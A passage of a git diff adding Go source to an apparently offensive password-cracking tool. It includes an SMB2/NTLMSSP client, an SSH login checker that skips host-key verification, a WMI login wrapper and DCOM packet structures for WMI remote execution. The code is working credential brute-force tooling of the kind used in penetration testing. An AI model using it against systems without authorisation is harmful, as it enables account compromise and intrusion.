+ s.Debug("Completed NegotiateProtocol and SessionSetup", nil)
+ return nil
+}
+
+func (s *Session) TreeConnect(name string) error {
+ s.Debug("Sending TreeConnect request ["+name+"]", nil)
+ req, err := s.NewTreeConnectReq(name)
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+ buf, err := s.send(req)
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+ var res TreeConnectRes
+ s.Debug("Unmarshalling TreeConnect response ["+name+"]", nil)
+ if err := encoder.Unmarshal(buf, &res); err != nil {
+ s.Debug("Raw:\n"+hex.Dump(buf), err)
+ return err
+ }
+
+ if res.Header.Status != StatusOk {
+ return errors.New("Failed to connect to tree: " + StatusMap[res.Header.Status])
+ }
+ s.trees[name] = res.Header.TreeID
+
+ s.Debug("Completed TreeConnect ["+name+"]", nil)
+ return nil
+}
+
+func (s *Session) TreeDisconnect(name string) error {
+
+ var (
+ treeid uint32
+ pathFound bool
+ )
+ for k, v := range s.trees {
+ if k == name {
+ treeid = v
+ pathFound = true
+ break
+ }
+ }
+
+ if !pathFound {
+ err := errors.New("Unable to find tree path for disconnect")
+ s.Debug("", err)
+ return err
+ }
+
+ s.Debug("Sending TreeDisconnect request ["+name+"]", nil)
+ req, err := s.NewTreeDisconnectReq(treeid)
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+ buf, err := s.send(req)
+ if err != nil {
+ s.Debug("", err)
+ return err
+ }
+ s.Debug("Unmarshalling TreeDisconnect response for ["+name+"]", nil)
+ var res TreeDisconnectRes
+ if err := encoder.Unmarshal(buf, &res); err != nil {
+ s.Debug("Raw:\n"+hex.Dump(buf), err)
+ return err
+ }
+ if res.Header.Status != StatusOk {
+ return errors.New("Failed to disconnect from tree: " + StatusMap[res.Header.Status])
+ }
+ delete(s.trees, name)
+
+ s.Debug("TreeDisconnect completed ["+name+"]", nil)
+ return nil
+}
+
+func (s *Session) Close() {
+ s.Debug("Closing session", nil)
+ for k, _ := range s.trees {
+ s.TreeDisconnect(k)
+ }
+ s.Debug("Closing TCP connection", nil)
+ s.conn.Close()
+ s.Debug("Session close completed", nil)
+}
+
+func (s *Session) send(req interface{}) (res []byte, err error) {
+ buf, err := encoder.Marshal(req)
+ if err != nil {
+ s.Debug("", err)
+ return nil, err
+ }
+
+ b := new(bytes.Buffer)
+ if err = binary.Write(b, binary.BigEndian, uint32(len(buf))); err != nil {
+ s.Debug("", err)
+ return
+ }
+
+ rw := bufio.NewReadWriter(bufio.NewReader(s.conn), bufio.NewWriter(s.conn))
+ if _, err = rw.Write(append(b.Bytes(), buf...)); err != nil {
+ s.Debug("", err)
+ return
+ }
+ rw.Flush()
+
+ var size uint32
+ if err = binary.Read(rw, binary.BigEndian, &size); err != nil {
+ s.Debug("", err)
+ return
+ }
+ if size > 0x00FFFFFF {
+ return nil, errors.New("Invalid NetBIOS Session message")
+ }
+
+ data := make([]byte, size)
+ l, err := io.ReadFull(rw, data)
+ if err != nil {
+ s.Debug("", err)
+ return nil, err
+ }
+ if uint32(l) != size {
+ return nil, errors.New("Message size invalid")
+ }
+
+ protID := data[0:4]
+ switch string(protID) {
+ default:
+ return nil, errors.New("Protocol Not Implemented")
+ case ProtocolSmb2:
+ }
+
+ s.messageID++
+ return data, nil
+}
diff --git a/pkg/crack/plugins/smb/smb.go b/pkg/crack/plugins/smb/smb.go
new file mode 100644
index 0000000..ab38b96
--- /dev/null
+++ b/pkg/crack/plugins/smb/smb.go
@@ -0,0 +1,421 @@
+//nolint
+package smb
+
+import (
+ "errors"
+ "fmt"
+
+ "github.com/stacktitan/smb/gss"
+ "github.com/stacktitan/smb/ntlmssp"
+ "github.com/stacktitan/smb/smb/encoder"
+)
+
+const ProtocolSmb = "\xFFSMB"
+const ProtocolSmb2 = "\xFESMB"
+
+const StatusOk = 0x00000000
+const StatusMoreProcessingRequired = 0xc0000016
+const StatusInvalidParameter = 0xc000000d
+const StatusLogonFailure = 0xc000006d
+const StatusUserSessionDeleted = 0xc0000203
+
+var StatusMap = map[uint32]string{
+ StatusOk: "OK",
+ StatusMoreProcessingRequired: "More Processing Required",
+ StatusInvalidParameter: "Invalid Parameter",
+ StatusLogonFailure: "Logon failed",
+ StatusUserSessionDeleted: "User session deleted",
+}
+
+const DialectSmb_2_0_2 = 0x0202
+const DialectSmb_2_1 = 0x0210
+const DialectSmb_3_0 = 0x0300
+const DialectSmb_3_0_2 = 0x0302
+const DialectSmb_3_1_1 = 0x0311
+const DialectSmb2_ALL = 0x02FF
+
+const (
+ CommandNegotiate uint16 = iota
+ CommandSessionSetup
+ CommandLogoff
+ CommandTreeConnect
+ CommandTreeDisconnect
+ CommandCreate
+ CommandClose
+ CommandFlush
+ CommandRead
+ CommandWrite
+ CommandLock
+ CommandIOCtl
+ CommandCancel
+ CommandEcho
+ CommandQueryDirectory
+ CommandChangeNotify
+ CommandQueryInfo
+ CommandSetInfo
+ CommandOplockBreak
+)
+
+const (
+ _ uint16 = iota
+ SecurityModeSigningEnabled
+ SecurityModeSigningRequired
+)
+
+const (
+ _ byte = iota
+ ShareTypeDisk
+ ShareTypePipe
+ ShareTypePrint
+)
+
+const (
+ ShareFlagManualCaching uint32 = 0x00000000
+ ShareFlagAutoCaching uint32 = 0x00000010
+ ShareFlagVDOCaching uint32 = 0x00000020
+ ShareFlagNoCaching uint32 = 0x00000030
+ ShareFlagDFS uint32 = 0x00000001
+ ShareFlagDFSRoot uint32 = 0x00000002
+ ShareFlagRestriceExclusiveOpens uint32 = 0x00000100
+ ShareFlagForceSharedDelete uint32 = 0x00000200
+ ShareFlagAllowNamespaceCaching uint32 = 0x00000400
+ ShareFlagAccessBasedDirectoryEnum uint32 = 0x00000800
+ ShareFlagForceLevelIIOplock uint32 = 0x00001000
+ ShareFlagEnableHashV1 uint32 = 0x00002000
+ ShareFlagEnableHashV2 uint32 = 0x00004000
+ ShareFlagEncryptData uint32 = 0x00008000
+)
+
+const (
+ ShareCapDFS uint32 = 0x00000008
+ ShareCapContinuousAvailability uint32 = 0x00000010
+ ShareCapScaleout uint32 = 0x00000020
+ ShareCapCluster uint32 = 0x00000040
+ ShareCapAsymmetric uint32 = 0x00000080
+)
+
+type Header struct {
+ ProtocolID []byte `smb:"fixed:4"`
+ StructureSize uint16
+ CreditCharge uint16
+ Status uint32
+ Command uint16
+ Credits uint16
+ Flags uint32
+ NextCommand uint32
+ MessageID uint64
+ Reserved uint32
+ TreeID uint32
+ SessionID uint64
+ Signature []byte `smb:"fixed:16"`
+}
+
+type NegotiateReq struct {
+ Header
+ StructureSize uint16
+ DialectCount uint16 `smb:"count:Dialects"`
+ SecurityMode uint16
+ Reserved uint16
+ Capabilities uint32
+ ClientGuid []byte `smb:"fixed:16"`
+ ClientStartTime uint64
+ Dialects []uint16
+}
+
+type NegotiateRes struct {
+ Header
+ StructureSize uint16
+ SecurityMode uint16
+ DialectRevision uint16
+ Reserved uint16
+ ServerGuid []byte `smb:"fixed:16"`
+ Capabilities uint32
+ MaxTransactSize uint32
+ MaxReadSize uint32
+ MaxWriteSize uint32
+ SystemTime uint64
+ ServerStartTime uint64
+ SecurityBufferOffset uint16 `smb:"offset:SecurityBlob"`
+ SecurityBufferLength uint16 `smb:"len:SecurityBlob"`
+ Reserved2 uint32
+ SecurityBlob *gss.NegTokenInit
+}
+
+type SessionSetup1Req struct {
+ Header
+ StructureSize uint16
+ Flags byte
+ SecurityMode byte
+ Capabilities uint32
+ Channel uint32
+ SecurityBufferOffset uint16 `smb:"offset:SecurityBlob"`
+ SecurityBufferLength uint16 `smb:"len:SecurityBlob"`
+ PreviousSessionID uint64
+ SecurityBlob *gss.NegTokenInit
+}
+
+type SessionSetup1Res struct {
+ Header
+ StructureSize uint16
+ Flags uint16
+ SecurityBufferOffset uint16 `smb:"offset:SecurityBlob"`
+ SecurityBufferLength uint16 `smb:"len:SecurityBlob"`
+ SecurityBlob *gss.NegTokenResp
+}
+
+type SessionSetup2Req struct {
+ Header
+ StructureSize uint16
+ Flags byte
+ SecurityMode byte
+ Capabilities uint32
+ Channel uint32
+ SecurityBufferOffset uint16 `smb:"offset:SecurityBlob"`
+ SecurityBufferLength uint16 `smb:"len:SecurityBlob"`
+ PreviousSessionID uint64
+ SecurityBlob *gss.NegTokenResp
+}
+
+type SessionSetup2Res struct {
+ Header
+ StructureSize uint16
+ Flags uint16
+ SecurityBufferOffset uint16 `smb:"offset:SecurityBlob"`
+ SecurityBufferLength uint16 `smb:"len:SecurityBlob"`
+ SecurityBlob *gss.NegTokenResp
+}
+
+type TreeConnectReq struct {
+ Header
+ StructureSize uint16
+ Reserved uint16
+ PathOffset uint16 `smb:"offset:Path"`
+ PathLength uint16 `smb:"len:Path"`
+ Path []byte
+}
+
+type TreeConnectRes struct {
+ Header
+ StructureSize uint16
+ ShareType byte
+ Reserved byte
+ ShareFlags uint32
+ Capabilities uint32
+ MaximalAccess uint32
+}
+
+type TreeDisconnectReq struct {
+ Header
+ StructureSize uint16
+ Reserved uint16
+}
+
+type TreeDisconnectRes struct {
+ Header
+ StructureSize uint16
+ Reserved uint16
+}
+
+func newHeader() Header {
+ return Header{
+ ProtocolID: []byte(ProtocolSmb2),
+ StructureSize: 64,
+ CreditCharge: 0,
+ Status: 0,
+ Command: 0,
+ Credits: 0,
+ Flags: 0,
+ NextCommand: 0,
+ MessageID: 0,
+ Reserved: 0,
+ TreeID: 0,
+ SessionID: 0,
+ Signature: make([]byte, 16),
+ }
+}
+
+func (s *Session) NewNegotiateReq() NegotiateReq {
+ header := newHeader()
+ header.Command = CommandNegotiate
+ header.CreditCharge = 1
+ header.MessageID = s.messageID
+
+ dialects := []uint16{
+ uint16(DialectSmb_2_1),
+ }
+ return NegotiateReq{
+ Header: header,
+ StructureSize: 36,
+ DialectCount: uint16(len(dialects)),
+ SecurityMode: SecurityModeSigningEnabled,
+ Reserved: 0,
+ Capabilities: 0,
+ ClientGuid: make([]byte, 16),
+ ClientStartTime: 0,
+ Dialects: dialects,
+ }
+}
+
+func NewNegotiateRes() NegotiateRes {
+ return NegotiateRes{
+ Header: newHeader(),
+ StructureSize: 0,
+ SecurityMode: 0,
+ DialectRevision: 0,
+ Reserved: 0,
+ ServerGuid: make([]byte, 16),
+ Capabilities: 0,
+ MaxTransactSize: 0,
+ MaxReadSize: 0,
+ MaxWriteSize: 0,
+ SystemTime: 0,
+ ServerStartTime: 0,
+ SecurityBufferOffset: 0,
+ SecurityBufferLength: 0,
+ Reserved2: 0,
+ SecurityBlob: &gss.NegTokenInit{},
+ }
+}
+
+func (s *Session) NewSessionSetup1Req() (SessionSetup1Req, error) {
+ header := newHeader()
+ header.Command = CommandSessionSetup
+ header.CreditCharge = 1
+ header.MessageID = s.messageID
+ header.SessionID = s.sessionID
+
+ ntlmsspneg := ntlmssp.NewNegotiate(s.options.Domain, s.options.Workstation)
+ data, err := encoder.Marshal(ntlmsspneg)
+ if err != nil {
+ return SessionSetup1Req{}, err
+ }
+
+ if s.sessionID != 0 {
+ return SessionSetup1Req{}, errors.New("Bad session ID for session setup 1 message")
+ }
+
+ // Initial session setup request
+ init, err := gss.NewNegTokenInit()
+ if err != nil {
+ return SessionSetup1Req{}, err
+ }
+ init.Data.MechToken = data
+
+ return SessionSetup1Req{
+ Header: header,
+ StructureSize: 25,
+ Flags: 0x00,
+ SecurityMode: byte(SecurityModeSigningEnabled),
+ Capabilities: 0,
+ Channel: 0,
+ SecurityBufferOffset: 88,
+ SecurityBufferLength: 0,
+ PreviousSessionID: 0,
+ SecurityBlob: &init,
+ }, nil
+}
+
+func NewSessionSetup1Res() (SessionSetup1Res, error) {
+ resp, err := gss.NewNegTokenResp()
+ if err != nil {
+ return SessionSetup1Res{}, err
+ }
+ ret := SessionSetup1Res{
+ Header: newHeader(),
+ SecurityBlob: &resp,
+ }
+ return ret, nil
+}
+
+func (s *Session) NewSessionSetup2Req() (SessionSetup2Req, error) {
+ header := newHeader()
+ header.Command = CommandSessionSetup
+ header.CreditCharge = 1
+ header.MessageID = s.messageID
+ header.SessionID = s.sessionID
+
+ ntlmsspneg := ntlmssp.NewNegotiate(s.options.Domain, s.options.Workstation)
+ data, err := encoder.Marshal(ntlmsspneg)
+ if err != nil {
+ return SessionSetup2Req{}, err
+ }
+
+ if s.sessionID == 0 {
+ return SessionSetup2Req{}, errors.New("Bad session ID for session setup 2 message")
+ }
+
+ // Session setup request #2
+ resp, err := gss.NewNegTokenResp()
+ if err != nil {
+ return SessionSetup2Req{}, err
+ }
+ resp.ResponseToken = data
+
+ return SessionSetup2Req{
+ Header: header,
+ StructureSize: 25,
+ Flags: 0x00,
+ SecurityMode: byte(SecurityModeSigningEnabled),
+ Capabilities: 0,
+ Channel: 0,
+ SecurityBufferOffset: 88,
+ SecurityBufferLength: 0,
+ PreviousSessionID: 0,
+ SecurityBlob: &resp,
+ }, nil
+}
+
+func NewSessionSetup2Res() (SessionSetup2Res, error) {
+ resp, err := gss.NewNegTokenResp()
+ if err != nil {
+ return SessionSetup2Res{}, err
+ }
+ ret := SessionSetup2Res{
+ Header: newHeader(),
+ SecurityBlob: &resp,
+ }
+ return ret, nil
+}
+
+// NewTreeConnectReq creates a new TreeConnect message and accepts the share name
+// as input.
+func (s *Session) NewTreeConnectReq(name string) (TreeConnectReq, error) {
+ header := newHeader()
+ header.Command = CommandTreeConnect
+ header.CreditCharge = 1
+ header.MessageID = s.messageID
+ header.SessionID = s.sessionID
+
+ path := fmt.Sprintf("\\\\%s\\%s", s.options.Host, name)
+ return TreeConnectReq{
+ Header: header,
+ StructureSize: 9,
+ Reserved: 0,
+ PathOffset: 0,
+ PathLength: 0,
+ Path: encoder.ToUnicode(path),
+ }, nil
+}
+
+func NewTreeConnectRes() (TreeConnectRes, error) {
+ return TreeConnectRes{}, nil
+}
+
+func (s *Session) NewTreeDisconnectReq(treeId uint32) (TreeDisconnectReq, error) {
+ header := newHeader()
+ header.Command = CommandTreeDisconnect
+ header.CreditCharge = 1
+ header.MessageID = s.messageID
+ header.SessionID = s.sessionID
+ header.TreeID = treeId
+
+ return TreeDisconnectReq{
+ Header: header,
+ StructureSize: 4,
+ Reserved: 0,
+ }, nil
+}
+
+func NewTreeDisconnectRes() (TreeDisconnectRes, error) {
+ return TreeDisconnectRes{}, nil
+}
diff --git a/pkg/crack/plugins/ssh.go b/pkg/crack/plugins/ssh.go
new file mode 100755
index 0000000..cf730b1
--- /dev/null
+++ b/pkg/crack/plugins/ssh.go
@@ -0,0 +1,37 @@
+package plugins
+
+import (
+ "fmt"
+ "golang.org/x/crypto/ssh"
+ "net"
+ "strings"
+ "time"
+)
+
+func SshCrack(serv *Service) int {
+ config := &ssh.ClientConfig{
+ User: serv.User,
+ Auth: []ssh.AuthMethod{
+ ssh.Password(serv.Pass),
+ },
+ Timeout: time.Duration(serv.Timeout) * time.Second,
+ HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
+ return nil
+ },
+ }
+ client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", serv.Ip, serv.Port), config)
+ if err != nil {
+ if strings.Contains(err.Error(), "timeout") {
+ return CrackError
+ }
+ return CrackFail
+ }
+ defer client.Close()
+ session, err := client.NewSession()
+ errRet := session.Run("echo zp857")
+ if err != nil || errRet != nil {
+ return CrackFail
+ }
+ defer session.Close()
+ return CrackSuccess
+}
diff --git a/pkg/crack/plugins/wmi.go b/pkg/crack/plugins/wmi.go
new file mode 100755
index 0000000..c5f982b
--- /dev/null
+++ b/pkg/crack/plugins/wmi.go
@@ -0,0 +1,18 @@
+package plugins
+
+import (
+ "github.com/niudaii/crack/pkg/crack/plugins/wmiexec"
+ "strconv"
+ "strings"
+)
+
+func WmiCrack(serv *Service) int {
+ err := wmiexec.WMIExec(serv.Ip+":"+strconv.Itoa(serv.Port), serv.User, serv.Pass, "", "", "", "", serv.Timeout, nil)
+ if err != nil {
+ if strings.Contains(err.Error(), "timeout") {
+ return CrackError
+ }
+ return CrackFail
+ }
+ return CrackSuccess
+}
diff --git a/pkg/crack/plugins/wmiexec/dcom.go b/pkg/crack/plugins/wmiexec/dcom.go
new file mode 100644
index 0000000..9bee7db
--- /dev/null
+++ b/pkg/crack/plugins/wmiexec/dcom.go
@@ -0,0 +1,592 @@
+//nolint
+package wmiexec
+
+import (
+ "bytes"
+ "encoding/binary"
+ "math"
+
+ "github.com/C-Sto/goWMIExec/pkg/uuid"
+)
+
+type DCOMORPCThis struct {
+ VersionMajor uint16
+ VersionMinor uint16
+ Flags uint32
+ Reserved uint32
+ CausalityID [16]byte
+ Unknown uint32
+}
+
+type IActProperties struct {
+ CntData uint32
+ OBJREF OBJREF
+}
+
+type OBJREF struct {
+ Signature uint32
+ Flags uint32
+ IID [16]byte
+ CUSTOMOBJREF CUSTOMOBJREF
+}
+
+type CUSTOMOBJREF struct {
+ CLSID [16]byte
+ CBExtension uint32
+ Size uint32
+ IActProperties IActProperties2
+}
+
+//idk man, I'm doing this from the wireshark dissection, not the standard ok
+type IActProperties2 struct {
+ TotalSize uint32
+ Reserved uint32
+ CustomHeader CustomHeader
+ Properties IAct2Properties
+}
+
+type CustomHeader struct {
+ CommonHeader CommonTypeHeader
+ PrivateHeader PrivateHeader
+ TotalSize uint32
+ CustomHeaderSize uint32
+ Reserved uint32
+ DestinationContext uint32
+ NumActivationProptertyStructs uint32
+ ClassInfoClsid [16]byte
+ ClsId ClsId
+}
+
+type CommonTypeHeader struct {
+ Version byte
+ Endianness byte
+ CommonHeaderLength uint16
+ Filler uint32
+}
+
+func NewCommonHeader1(endian int) CommonTypeHeader {
+ return CommonTypeHeader{
+ Version: 1,
+ Endianness: 0x10, //little endian
+ CommonHeaderLength: 8,
+ Filler: 0xcccccccc,
+ }
+}
+
+type PrivateHeader struct {
+ ObjectBufferLength uint32
+ Filler uint32
+}
+
+func NewPrivateHeader(buflen uint32) PrivateHeader {
+ return PrivateHeader{
+ ObjectBufferLength: buflen,
+ Filler: 0x0000,
+ }
+}
+
+type ClsId struct {
+ PtrReferentID uint32
+ PtrSizesReferentID uint32
+ NULLPointer uint32
+ PtrMaxCount uint32
+ PtrPropertyStructGUID [16]byte
+ PtrPropertyStructGUID2 [16]byte
+ PtrPropertyStructGUID3 [16]byte
+ PtrPropertyStructGUID4 [16]byte
+ PtrPropertyStructGUID5 [16]byte
+ PtrPropertyStructGUID6 [16]byte
+ SizesPtrMaxCount uint32
+ SizesPtrPropertyDataSize uint32
+ SizesPtrPropertyDataSize2 uint32
+ SizesPtrPropertyDataSize3 uint32
+ SizesPtrPropertyDataSize4 uint32
+ SizesPtrPropertyDataSize5 uint32
+ SizesPtrPropertyDataSize6 uint32
+}
+
+type IAct2Properties struct {
+ SpecialSystemProperties SpecialSystemProperties
+ InstantiationInfo InstantiationInfo
+ ActivationContextInfo ActivationContextInfo
+ SecurityInfo SecurityInfo
+ LocationInfo LocationInfo
+ ScmRequestInfo ScmRequestInfo
+}
+
+type SpecialSystemProperties struct {
+ CommonHeader CommonTypeHeader
+ PrivateHeader PrivateHeader
+ SessionID uint32
+ RemoteThisSessionID uint32
+ ClientImpersonating uint32
+ PartitionIDPresent uint32
+ DefaultAuthnLevel uint32
+ PartitionGUID [16]byte
+ ProcessRequestFlags uint32
+ OriginalClassContext uint32
+ Flags uint32
+ Reserved [32]byte
+ UnusedBuffer uint64
+}
+
+type InstantiationInfo struct {
+ CommonHeader CommonTypeHeader
+ PrivateHeader PrivateHeader
+ InstantiatedObjectClsId [16]byte
+ ClassContext,
+ ActivationFlags,
+ FlagsSurrogate,
+ InterfaceIdCount,
+ InstantiationFlag,
+ InterfaceIdsPtr,
+ EntirePropertySize uint32
+ VersionMajor, VersionMinor uint16
+ InterfaceIdsMaxCount uint32
+ InterfaceIds [16]byte
+ UnusedBuffer uint32
+}
+
+type ActivationContextInfo struct {
+ CommonHeader CommonTypeHeader
+ PrivateHeader PrivateHeader
+ ClientOk uint32
+ Reserved uint32
+ Reserved2 uint32
+ Reserved3 uint32
+ ClientPtrReferentID uint32
+ NULLPtr uint32
+ ClientPtrClientContextUnknown uint32
+ ClientPtrClientContextCntData uint32
+ ClientPtrClientContextOBJREFSignature uint32
+ ClientPtrClientContextOBJREFFlags uint32
+ ClientPtrClientContextOBJREFIID [16]byte
+ ClientPtrClientContextOBJREFCUSTOMOBJREFCLSID [16]byte
+ ClientPtrClientContextOBJREFCUSTOMOBJREFCBExtension uint32
+ ClientPtrClientContextOBJREFCUSTOMOBJREFSize uint32
+ UnusedBuffer [48]byte
+}
+
+type SecurityInfo struct {
+ CommonHeader CommonTypeHeader
+ PrivateHeader PrivateHeader //", packet_private_header);
+ AuthenticationFlags uint32
+ ServerInfoPtrReferentID uint32
+ NULLPtr uint32
+ ServerInfoServerInfoReserved uint32
+ ServerInfoServerInfoNameReferentID uint32
+ ServerInfoServerInfoNULLPtr uint32
+ ServerInfoServerInfoReserved2 uint32
+ ServerInfoServerInfoNameMaxCount uint32 //", packet_target_length);
+ ServerInfoServerInfoNameOffset uint32
+ ServerInfoServerInfoNameActualCount uint32 //", packet_target_length);
+ ServerInfoServerInfoNameString []byte // uint32//uint", packet_target_unicode);
+
+}
+
+type LocationInfo struct {
+ CommonHeader CommonTypeHeader
+ PrivateHeader PrivateHeader
+ NULLPtr uint32
+ ProcessID uint32
+ ApartmentID uint32
+ ContextID uint32
+}
+
+type ScmRequestInfo struct {
+ CommonHeader CommonTypeHeader
+ PrivateHeader PrivateHeader
+ NULLPtr uint32
+ RemoteRequestPtrReferentID uint32
+ RemoteRequestPtrRemoteRequestClientImpersonationLevel uint32
+ RemoteRequestPtrRemoteRequestNumProtocolSequences uint16
+ RemoteRequestPtrRemoteRequestUnknown uint16
+ RemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrReferentID uint32
+ RemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrMaxCount uint32
+ RemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrProtocolSeq uint16
+ UnusedBuffer [6]byte // = 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+}
+
+type PacketDCOMRemoteInstance struct {
+ /*
+ DCOMVersionMajor uint16
+ DCOMVersionMinor uint16
+ DCOMFlags uint32
+ DCOMReserved uint32
+ DCOMCausalityID [16]byte
+ Unknown uint32
+ */
+ DCOMORPCThis DCOMORPCThis
+ Unknown2 uint32
+ Unknown3 uint32
+ Unknown4 uint32
+ IActProperties IActProperties
+}
+
+func NewDCOMRemoteInstance(causality [16]byte, target string) PacketDCOMRemoteInstance {
+ r := PacketDCOMRemoteInstance{}
+
+ targetU, _ := toUnicodeS(target)
+ targetL := uint32(len(target)) + 1
+
+ targetB := []byte(targetU)
+
+ b := uint32(math.Trunc(float64(len(targetB))/8+1)*8 - float64(len(targetB)))
+ nulls := make([]byte, b)
+ targetB = append(targetB, nulls...)
+
+ targetCnt := uint32(len(targetB)) + 720
+ pktSize := uint32(len(targetB)) + 680
+ pktTotal := uint32(len(targetB)) + 664
+ privHeader := uint32(len(targetB) + 40)
+ propDataSize := uint32(len(targetB) + 56)
+
+ r.DCOMORPCThis.VersionMajor = 0x05
+ r.DCOMORPCThis.VersionMinor = 0x07
+ r.DCOMORPCThis.Flags = 0x01
+ r.DCOMORPCThis.Reserved = 0x00
+ r.DCOMORPCThis.CausalityID = causality // packet_causality_ID);
+ r.DCOMORPCThis.Unknown = 0x00
+ r.Unknown2 = 0x00
+ r.Unknown3 = 0x020000
+ r.Unknown4 = targetCnt //", packet_cntdata);
+
+ r.IActProperties.CntData = targetCnt //", packet_cntdata);
+ r.IActProperties.OBJREF.Signature = 0x574f454d // 0x4d, 0x45, 0x4f, 0x57
+ r.IActProperties.OBJREF.Flags = 0x04
+ r.IActProperties.OBJREF.IID = uuid.IID_IActivationPropertiesIn
+ r.IActProperties.OBJREF.CUSTOMOBJREF.CLSID = uuid.CLSID_ActivationPropertiesIn
+ r.IActProperties.OBJREF.CUSTOMOBJREF.CBExtension = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.Size = pktSize //", packet_size);
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.TotalSize = pktTotal //", packet_total_size);
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Reserved = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.CommonHeader = NewCommonHeader1(0x10) //
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.PrivateHeader = NewPrivateHeader(0xb0) // 0xb0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.TotalSize = pktTotal //", packet_total_size);
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.CustomHeaderSize = 0xc0
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.Reserved = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.DestinationContext = 0x02
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.NumActivationProptertyStructs = 0x06
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClassInfoClsid = uuid.NULL
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.PtrReferentID = 0x020000
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.PtrSizesReferentID = 0x00020004 //0x04, 0x00, 0x02, 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.NULLPointer = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.PtrMaxCount = 0x06
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.PtrPropertyStructGUID = uuid.CLSID_SpecialSystemProperties
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.PtrPropertyStructGUID2 = uuid.CLSID_InstantiationInfo
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.PtrPropertyStructGUID3 = uuid.CLSID_ActivationContextInfo
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.PtrPropertyStructGUID4 = uuid.CLSID_SecurityInfo
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.PtrPropertyStructGUID5 = uuid.CLSID_ServerLocationInfo
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.PtrPropertyStructGUID6 = uuid.CLSID_ScmRequestInfo
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.SizesPtrMaxCount = 0x06
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.SizesPtrPropertyDataSize = 0x68
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.SizesPtrPropertyDataSize2 = 0x58
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.SizesPtrPropertyDataSize3 = 0x90
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.SizesPtrPropertyDataSize4 = propDataSize //", packet_property_data_size);
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.SizesPtrPropertyDataSize5 = 0x20
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.CustomHeader.ClsId.SizesPtrPropertyDataSize6 = 0x30
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.CommonHeader = NewCommonHeader1(0x10) // 0xcccccccc00081001 // 0x01, 0x10, 0x08, 0x00, 0xcc, 0xcc, 0xcc, 0xcc
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.PrivateHeader = NewPrivateHeader(0x58)
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.SessionID = 0xffffffff
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.RemoteThisSessionID = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.ClientImpersonating = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.PartitionIDPresent = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.DefaultAuthnLevel = 0x02
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.PartitionGUID = uuid.NULL
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.ProcessRequestFlags = 0x00
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.OriginalClassContext = 0x14
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.Flags = 0x02
+ r.IActProperties.OBJREF.CUSTOMOBJREF.IActProperties.Properties.SpecialSystemProperties.Reserved = [32]byte{} // 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
